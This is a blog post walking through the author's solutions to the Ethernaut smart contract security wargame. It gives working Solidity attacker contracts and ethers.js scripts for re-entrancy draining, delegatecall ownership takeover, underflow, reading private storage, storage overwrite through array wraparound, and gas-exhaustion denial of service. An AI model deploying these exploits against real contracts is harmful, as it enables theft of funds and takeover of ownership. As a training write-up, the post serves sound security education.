Ethernaut Solutions

Categories:

Ethernaut is OpenZeppelin’s wargame to learn about Ethereum smart contract security. It launched a couple of years ago and consists of 21 challenges that need to be solved. I personally found the Ethernaut challenges to be easier than the challenges of Capture the Ether, another CTF. If you have no prior Ethereum and security background this might be a good place to start. The challenges are on the Rinkeby testnet which makes the setup and receiving testnet ether a bit inconvenient as there are currently no easy to use faucets.

What I did was to solve all challenges using hardhat in my local environment which made testing my exploits locally very easy. I wrote custom code that forks rinkeby, creates a custom smart contract challenge instance for me, runs my exploit code, and then checks for correctness using my local environment. My solutions can be found here. If you prefer solving the challenges this way as well, instead of using a testnet, you can clone my repo, have a look at the first warmup challenge test/0-hello.ts and implement the rest of the challenges in a similar way.

Let’s go over all of Ethernaut’s challenges and discuss their solutions.

Challenges

0. Hello

The first challenge gets you accustomed to the usual way each challenge needs to be set up. Using the Chrome developer tools you can see the level address that will be used to create a challenge contract instance for you. You can call contract.abi in the console to see the available functions to call on the contract. After calling the various info functions you receive a hint that you need to call the authenticate function with a password to pass this level. The password can be retrieved by the password() function and is ethernaut0.

1. Fallback

The goal is to become the owner of the contract. The contract is quite easy to understand and we can see that the owner can be reset by calling the fallback function, i.e., we just do an ether transfer to the contract (empty data field in the transaction). To pass the checks, we first need to call contribute once.

2. Fallout

What looks like the constructor is just a misspelt function Fal1out that can be called by anyone to claim ownership.

3. Coin Flip

The goal is to correctly predict the coin flip 10 times in a row. The contract uses the previous blockhash as the flip outcome. We can easily solve this challenge by deploying a custom contract simulating the exact same coin flipping logic and calling the real challenge contract with this result.

pragma solidity ^0.7.3;

interface ICoinFlipChallenge {
    function flip(bool _guess) external returns (bool);
}

contract CoinFlipAttacker {
    ICoinFlipChallenge public challenge;

    constructor(address challengeAddress) {
        challenge = ICoinFlipChallenge(challengeAddress);
    }

    function attack() external payable {
        // simulate the same what the challenge contract does
        uint256 blockValue = uint256(blockhash(block.number - 1));
        uint256 coinFlip = blockValue / 57896044618658097711785492504343953926634992332820282019728792003956564819968;
        bool side = coinFlip == 1 ? true : false;

        // call challenge contract with same guess
        challenge.flip(side);
    }

    receive() external payable {}
}

4. Telephone

This level is very easy. You win if you can craft a transaction where tx.origin != msg.sender which is true if you call the changeOwner function from a smart contract. Then msg.sender will be the helper contract address while tx.origin always refers to the original transaction sender (tx.from).

function attack() external payable {
    challenge.changeOwner(tx.origin);
}

5. Token

This challenge involves a custom tiny token contract. The goal is to increase our balance. There is a supposed-to-be overflow check that checks if require(balances[msg.sender] - _value >= 0); but we are dealing with unsigned integers which renders this check useless. To win, we can use an accomplice to send our deployer tokens.

const [eoa, accomplice] = await ethers.getSigners();
const eoaAddress = await eoa.getAddress();
// contract uses unsigned integer which is always >= 0, overflow check is useless
tx = await challenge.connect(accomplice)
    // we start with 20 tokens, make sure eoa's balance doesn't overflow as well
    .transfer(eoaAddress, BigNumber.from(`2`).pow(256).sub(`21`));
await tx.wait();

6. Delegation

There’s a delegation contract that forwards any calls using delegatecall in its fallback function to a delegatee contract. The thing to know about the delegatecall instruction is that the call is executed in the caller’s context. Therefore the delegatee accesses the delegator’s owner storage variable and msg.sender. All we need to do is call the pwn function on the delegator contract.

function attack() external payable {
    challenge.changeOwner(tx.origin);
}

A very interesting side note is that the gas estimation failed here. The reason for this is that the delegator code does not revert if the inner call failed because it ran out of gas.

The catch about gas estimation is that the node will try out your tx with different gas values, and return the lowest one for which your tx doesn’t fail. But it only looks at your tx, not at any of the internal calls it makes. This means that if the contract code you’re calling has a try/catch that causes it not to revert if an internal call does, you can get a gas estimation that would be enough for the caller contract, but not for the callee. - Falsehoods that Ethereum programmers believe

const delegateeAbi = ['function pwn()']
let iface = new ethers.utils.Interface(delegateeAbi)
const data = iface.encodeFunctionData(`pwn`, [])

tx = await eoa.sendTransaction({
  from: await eoa.getAddress(),
  to: challenge.address,
  data,
  gasLimit: BigNumber.from(`100000`),
})

7. Force

The goal is to send ether to the contract. Usually, sending ether to a contract requires a fallback function to be implemented, but one can force-send ether by calling the selfdestruct instruction on a contract containing ether. This instruction bypasses any checks.

The attacker can do this by creating a contract, funding it with 1 wei, and invoking selfdestruct(victimAddress). No code is invoked in victimAddress, so it cannot be prevented. This is also true for block reward which is sent to the address of the miner, which can be any arbitrary address. Also, since contract addresses can be precomputed, ether can be sent to an address before the contract is deployed. - ConsenSys - Secure Development Recommendations

A simple selfdestruct contract to solve this challenge looks like this:

pragma solidity ^0.7.3;

contract ForceSend {

    constructor (address payable target) payable {
        require(msg.value > 0);
        selfdestruct(target);
    }
}

8. Vault

The password is stored in storage and everything on the blockchain is public. The private visibility modifier only says that other contracts are not allowed to read it. Using ethers.js we can still read the storage variable. Note how the password is stored at storage slot 1.

// password is at storage slot 1
const password = await eoa.provider.getStorageAt(challenge.address, 1)
console.log(`password = ${password} "${Buffer.from(password.slice(2), `hex`)}"`)

9. King

This challenge mimics the original King of the Ether game. Your goal is to break anyone else calling the claim function. The claim function sends tokens to our contract, so we just need to write a contract that does not accept tokens.

function attack() external payable {
    require(msg.value == 1 ether, "please send exactly 1 ether");
    // claim throne
    // use call here instead of challenge.transfer because transfer
    // has a gas limit and runs out of gas
    (bool success, ) = payable(address(challenge)).call{value: msg.value}("");
    require(success, "External call failed");
}

receive() external payable {
    require(false, "cannot claim my throne!");
}

Note that our attack function would fail if it used payable(address(challenge)).transfer because transfer has a gas limit of 21000. It’s a good idea to never use transfer and just use the call instead.

10. Re-Entrancy

This contract has a classic re-entrancy vulnerability. It should follow the Checks-Effects-Interactions Pattern or use OpenZeppelin’s ReentrancyGuard function modifiers.

When calling withdraw it invokes our contract again before resetting the balance, allowing us to enter the contract again with another withdraw action.

contract ReentranceAttacker {
    IReentrance public challenge;
    uint256 initialDeposit;

    constructor(address challengeAddress) {
        challenge = IReentrance(challengeAddress);
    }

    function attack() external payable {
        require(msg.value >= 0.1 ether, "send some more ether");

        // first deposit some funds
        initialDeposit = msg.value;
        challenge.donate{value: initialDeposit}(address(this));

        // withdraw these funds over and over again because of re-entrancy issue
        callWithdraw();
    }

    receive() external payable {
        // re-entrance called by challenge
        callWithdraw();
    }

    function callWithdraw() private {
        // this balance correctly updates after withdraw
        uint256 challengeTotalRemainingBalance = address(challenge).balance;
        // are there more tokens to empty?
        bool keepRecursing = challengeTotalRemainingBalance > 0;

        if (keepRecursing) {
            // can only withdraw at most our initial balance per withdraw call
            uint256 toWithdraw =
                initialDeposit < challengeTotalRemainingBalance
                    ? initialDeposit
                    : challengeTotalRemainingBalance;
            challenge.withdraw(toWithdraw);
        }
    }
}

11. Elevator

The goal is to set the top variable of the Elevator contract to true. The only code path to set this variable is by having the isLastFloor function return false for the if condition and true the second time for the variable assignment.

Building building = Building(msg.sender);

if (! building.isLastFloor(_floor)) {
  floor = _floor;
  top = building.isLastFloor(floor);
}

As we can control the msg.sender contract, this is easy to do:

// storage, persists throughout function calls
uint256 timesCalled;

function attack() external payable {
    challenge.goTo(0);
}

function isLastFloor(uint256 /* floor */) external returns (bool) {
    timesCalled++;
    if (timesCalled > 1) return true;
    else return false;
}

12. Privacy

Here, we need to read a “private” storage variable. The private visibility modifier only says that other contracts are not allowed to read it. Using ethers.js we can still read the storage variable.

Read this documentation page on how storage is laid out in Solidity. Basically storage is a mapping function storage(slot) : 2^256 -> 2^256 from 32-byte integers to 32-byte integers. Every primitive variable occupies a storage “slot” (index in the 256-bit domain) where it stores its data. Several continuous variables that occupy less than 256-bit storage space can be packed into a single one. More complex data structures where the size is not known at compile-time like mappings, or dynamically-sized arrays use hash-functions to compute where to store each entry.

The contract’s storage will look like this:

0:       0x0000000000000000000000000000000000000000000000000000000000000001 (1)
1:       0x000000000000000000000000000000000000000000000000000000005ff64a80 (1609976448)
2:       0x000000000000000000000000000000000000000000000000000000004a80ff0a (now=0x4a80, 255=0xff, 10=0xa)
3:       0x8de895aac60c474d0d1bd8fdb7fdc79a6f069101c77f810605e4520f72566874 (data[0])
4:       0xe514d3b3085d092bcc598cc8357dbadc60b34b4cd6af88333e9e8aad9af81c9a (data[1])
5:       0x35c226031a34414845c12c4d7a7e817d3e639e98f9a89258e3a249c3427da3e4 (data[2])
6:       0x0000000000000000000000000000000000000000000000000000000000000000 (0)

We’re looking for bytes16(data[2]) which is located at storage slot &data[0] + 2 = 5. Converting the bytes32 type to bytes16 uses the first 16 bytes (most significant bits), i.e, data[2][0..15].

const keyData = await eoa.provider.getStorageAt(
  challenge.address,
  5 /* data[2] */
)
const key16 = `${keyData.slice(0, 34)}` // bytes16 = 16 bytes = 32 hex chars, +2 for 0x prefix

13. Gatekeeper One

In this challenge we need to call a function and pass its three modifier checks:

  1. The first one requires the transaction to be sent from a smart contract.
  2. The second one requires the remaining gas at this point to be a multiple of 8191.
  3. The third one is a riddle on the function argument that we need to solve.

We arrive at a solution by approaching them in a different order.

The first one is easy and obvious to pass.

For the third one I used hardhat’s solidity logging feature to print the results of the conversions. Using a gatekey byte array that is easy to reason about 0x1122334455667788, the involved values are:

modifier gateThree(bytes8 _gateKey) {
    console.logBytes8(_gateKey);
    console.log("uint32(uint64(_gateKey)) %s", uint32(uint64(_gateKey)) );
    console.log("uint64(_gateKey) %s", uint64(_gateKey));
    console.log("uint16(tx.origin) %s", uint16(tx.origin));
    require(
        uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)),
        "GatekeeperOne: invalid gateThree part one"
    );
    require(
        uint32(uint64(_gateKey)) != uint64(_gateKey),
        "GatekeeperOne: invalid gateThree part two"
    );
    require(
        uint32(uint64(_gateKey)) == uint16(tx.origin),
        "GatekeeperOne: invalid gateThree part three"
    );
    _;
}
// _gateKey = 0x1122334455667788
// uint32(uint64(_gateKey)) 0x55667788 = 1432778632
// uint64(_gateKey) 0x1122334455667788 = 1234605616436508552
// uint16(tx.origin) 0xD74C = 55116
// tx.orign = 0x48490375809Cf5Af9D635C7860BD7F83f9f2D74c

We need to pass in an 8-byte array. Each check compares a value to uint32(uint64(_gateKey)) which are the lower bits gateKey[4-7]. Let’s start from front to back with 0x0000000000000000. The last two bytes need to equal the last two bytes of our eoa address which in our case is D74c.

const uint16TxOrigin = address.slice(-4)
const gateKey = `0x000000000000${uint16TxOrigin}`

Keeping the zeroes in the lower 4 bytes already passes the first check. To also pass the second one, the total number needs to be different but we cannot change the lower 4 bytes. So we just flip something in the upper bytes.

const gateKey = `0x100000000000${uint16TxOrigin}`

The final modifier check that we need to pass is the second gasleft() % 8191 check. Note that the gas costs per instruction can change with different hard forks. It’s probably easiest to solve this using a debugger. But as I am running everything on a local testnet, I can just brute-force the gas costs trying 8191 different consecutive values. It only takes a couple of seconds.

function attack(bytes8 gateKey, uint256 gasToUse) external payable {
    challenge.enter{gas: gasToUse}(gateKey);
}

// brute force this using local hardhat network
const MOD = 8191
const gasToUse = 800000
for(let i = 0; i < MOD; i++) {
  console.log(`testing ${gasToUse + i}`)
  try {
    tx = await attacker.attack(gateKey, gasToUse + i, {
      gasLimit: `950000`
    });
    break;
  } catch {}
}

14. Gatekeeper Two

The second gatekeeper challenge is a bit easier. Again some modifier checks need to be passed. The enter function needs to be called from a contract again but its code size needs to be zero. However, extcodesize only returns the correct value once the contract is constructed. While the constructor of our contract is executing it’ll return zero. Which means we will need to call the enter function from our constructor with the correct gatekey value. The gatekey value can easily be computed within the same contract if we know that xor forms an abelian group and each element is its own inverse, i.e., it’s commutative and x ^ x == 0.

# a = keccak(contract), b = gateKey, c = uint64(-1)
a ^ b == c
a ^ b ^ (b ^ c) == c ^ (b ^ c)
a ^ (b ^ b) ^ c == (c ^ c) ^ b
a ^ 0 ^ c == 0 ^ b
a ^ c == b

Here’s the final contract:

contract GatekeeperTwoAttacker {
    using SafeMath for uint256;
    IGatekeeperTwo public challenge;

    constructor(address challengeAddress) {
        challenge = IGatekeeperTwo(challengeAddress);
        // must attack already in constructor because of extcodesize == 0
        // while the contract is being constructed
        uint64 gateKey = uint64(bytes8(keccak256(abi.encodePacked(this)))) ^ (uint64(0) - 1);
        challenge.enter(bytes8(gateKey));
    }
}

15. Naught Coin

For this challenge, you need to be familiar with ERC20 tokens and their functions. The challenge consists of a lockup contract inheriting from ERC20 tokens. Its transfer function has been overwritten to check that one can only withdraw tokens after some time has passed. However, transfer is not the only function in ERC20 that allows for moving tokens. We can combine allow and transferFrom to transfer tokens. Both functions exist on the lockup contract in their original form due to inheritance and have not been explicitly overwritten.

16. Preservation

There is a contract storing another contract address which is called using a delegatecall instruction. This is the same exploit as in challenge 6. Delegation.

The thing to know about the delegatecall instruction is that the call is executed in the caller’s context.

First, we call setFirstTime on the challenge contract to overwrite the library address with our malicious library. Using a second call to setFirstTime, the challenge contract invokes the setTime function of our contract which has the exact same storage layout as the challenge contract. In our malicious setTime function, we simply overwrite the third storage slot (owner).

interface IPreservation {
    function setFirstTime(uint _timeStamp) external;
}

// this one will be called by delegatecall
contract PreservationAttackerLib {
    // needs same storage layout as Preservation, i.e.,
    // we want owner at slot index 2
    address public timeZone1Library;
    address public timeZone2Library;
    address public owner;

    function setTime(uint256 _time) public {
        owner = tx.origin;
    }
}

contract PreservationAttacker {
    IPreservation public challenge;
    PreservationAttackerLib public detour;

    constructor(address challengeAddress) {
        challenge = IPreservation(challengeAddress);
        detour = new PreservationAttackerLib();
    }

    function attack() external {
      // 1. change the library address to our evil detour lib
      // this works because their LibraryContract is invoked using delegatecall
      // which executes in challenge contract's context (uses same storage)
      challenge.setFirstTime(uint256(address(detour)));

      // 2. now make challenge contract call setTime function of our detour
      challenge.setFirstTime(0);
    }
}

17. Recovery

There is a factory contract that has been called to create a new contract instance. Someone deposited funds on this contract instance but “forgot the address”. Our goal is to find out what address the contract was deployed to and call its destroy function.

This challenge is very easy if we use a block explorer and investigate the transactions related to the factory contract. Alternatively, we can recompute the contract address. Contract addresses are fully derived from the sender and the transaction’s nonce as:

// last 20 bytes of hash of rlp encoding of tx.origin and tx.nonce
keccak256(rlp(senderAddress, nonce))[12:31]

There is a second way to create contracts using CREATE2 that results in a different address but this factory contract uses the standard one. Using ethers, a call to getContractAddress is enough to do the above-mentioned computation.

const recomputedContractAddress = ethers.utils.getContractAddress({
  from: challenge.address,
  nonce: BigNumber.from(`1`),
})

// call destroy on it

18. MagicNumber

For this challenge, you need to handcraft a payload to deploy a contract that returns 42. The idea here is to use the least amount of opcodes (at most 10 are allowed) to achieve this goal, so we will write a smart contract that returns 42 whenever it is called regardless of the function name. A deployment transaction consists of the actual contract bytecode and the initialization code. Here is a great writeup about the individual opcodes that are needed to write the EVM assembly code. In short, the return instruction requires the return value to be stored in memory instead of just popping it from the stack as other languages do. Our contract bytecode then consists of storing this value in memory and returning a pointer to it.

602a    // v: push1 0x2a (value is 0x2a)
6000    // p: push1 0x00 (memory slot is 0x00)
52      // mstore
6020    // s: push1 0x20 (value is 32 bytes in size)
6000    // p: push1 0x00 (value was stored in slot 0x00)
f3      // return

The initialization code needs to return the contract code which then stores it in the blockchain state. We can copy our code using the CODECOPY instruction.

The final sequence is:

600a600c600039600a6000f3602a60005260206000f3

Creating this contract and setting the solver to the new address can be done using a factory contract. We can specify the full contract payload using the create2 assembly instruction.

function attack() public {
    bytes memory bytecode = hex"600a600c600039600a6000f3602a60005260206000f3";
    bytes32 salt = 0;
    address solver;

    assembly {
        solver := create2(0, add(bytecode, 0x20), mload(bytecode), salt)
    }

    challenge.setSolver(solver);
}

19. Alien Codex

In this challenge, we need to set the owner variable to zero. It’s important to understand the storage layout here. The contract inherits from the Ownable contract. In this case, the Ownable contract’s storage variables are laid out first. It consists of a single 20-byte owner address. Afterwards, the challenge contract’s contact boolean is defined which still fits into the same first 32-byte storage slot. Then, a dynamically-sized bytes32 array is defined.

In the case of a dynamic array, the reserved slot p contains the length of the array as a uint256, and the array data itself is located sequentially at the address keccak256(p).

The storage then looks like this:

slot 0: owner, contact
slot 1: codex.length
// ...
slot keccak(1): codex[0]
slot keccak(1) + 1: codex[1]
slot keccak(1) + 2: codex[2]
slot keccak(1) + 3: codex[3]
slot keccak(1) + 4: codex[4]
// ...

Note that the array items wrap around after they reached the max storage slot of 2^256 - 1. Using a bit of math we can find the codex index that writes to the owner variable at storage slot 0:

need to find array index that maps to 0 mod 2^256
i.e., keccak(1) + index mod 2^256 = 0
<=> index = -keccak(1) mod 2^256
<=> index = 2^256 - keccak(1) as keccak(1) is in range

The following functions then need to be invoked to solve the challenge:

// we need to make contract first to pass the modifier checks of other functions
tx = await challenge.make_contact();
await tx.wait();

// all of contract storage is a 32 bytes key to 32 bytes value mapping
// first make codex expand its size to cover all of this storage
// by calling retract making it overflow
tx = await challenge.retract();
await tx.wait();

// now try to index the map in a way such that we write to the owner variable at slot 0
// codex[0] value is stored at keccak(codexSlot) = keccak(1)
// codexSlot = 1 because slot 0 contains both 20 byte address (owner) & boolean
// needs to be padded to a 256 bit
const codexBegin = BigNumber.from(
    ethers.utils.keccak256(
        `0x0000000000000000000000000000000000000000000000000000000000000001`
    )
);
const ownerOffset = BigNumber.from(`2`).pow(`256`).sub(codexBegin);

const eoaAddress = await eoa.getAddress()
tx = await challenge.revise(ownerOffset, ethers.utils.zeroPad(eoaAddress, 32));
await tx.wait();

20. Denial

The goal is to make the withdraw call fail. We control the partner contract. The contract writer’s idea was that even if we revert in our contract using revert / require only our function call would fail but the withdrawal to the original owner would still continue. While this is true, notice that our function is being called using .call without specifying an explicit gas limit. We can just consume all available gas in the transaction resulting in the caller function to be out of gas and fail. Contrary to revert and require, the assert instruction consumes all gas.

contract DenialAttacker {
    fallback() external payable {
      // assert consumes all (!) gas
      assert(false);
    }
}

21. Shop

The goal is to buy the item for less than its price. This is the same as the 11th Elevator challenge just with a gas restriction on the two calls.

We need to find a way to distinguish the two calls and return 100 for the first one and 0 for the second one. Notice how the challenge contract’s isSold storage variable is being changed in-between these calls. We can make use of this to distinguish both calls:

abstract contract IShop {
    uint public price;
    bool public isSold;
    function buy() external virtual;
}

contract ShopAttacker {
    IShop public challenge;
    uint256 timesCalled = 1;

    constructor(address challengeAddress) {
        challenge = IShop(challengeAddress);
    }

    function attack() public {
        challenge.buy();
    }

    function price() external view returns (uint256) {
        return challenge.isSold() ? 0 : 100;
    }
}

The call still fails because price() uses more than the allotted 3000 gas. This challenge was written a couple of years ago and gas prices changed on a per instruction-level since then. This just shows how important it is to not assume anything about gas prices.

I don’t think that there is a solution that works with the latest Ethereum version, even using gasleft() to distinguish the calls seems to run out of gas.

❕ The full code for all solutions can be found on GitHub.

Hi, I'm Christoph Michel 👋

I'm a , , and .

I mostly do and help small to mid-sized teams from all over the world 🌎 on both short and long-term projects on an independent contractor basis.

I strive for efficiency ⏱️ and therefore track many aspects of my life.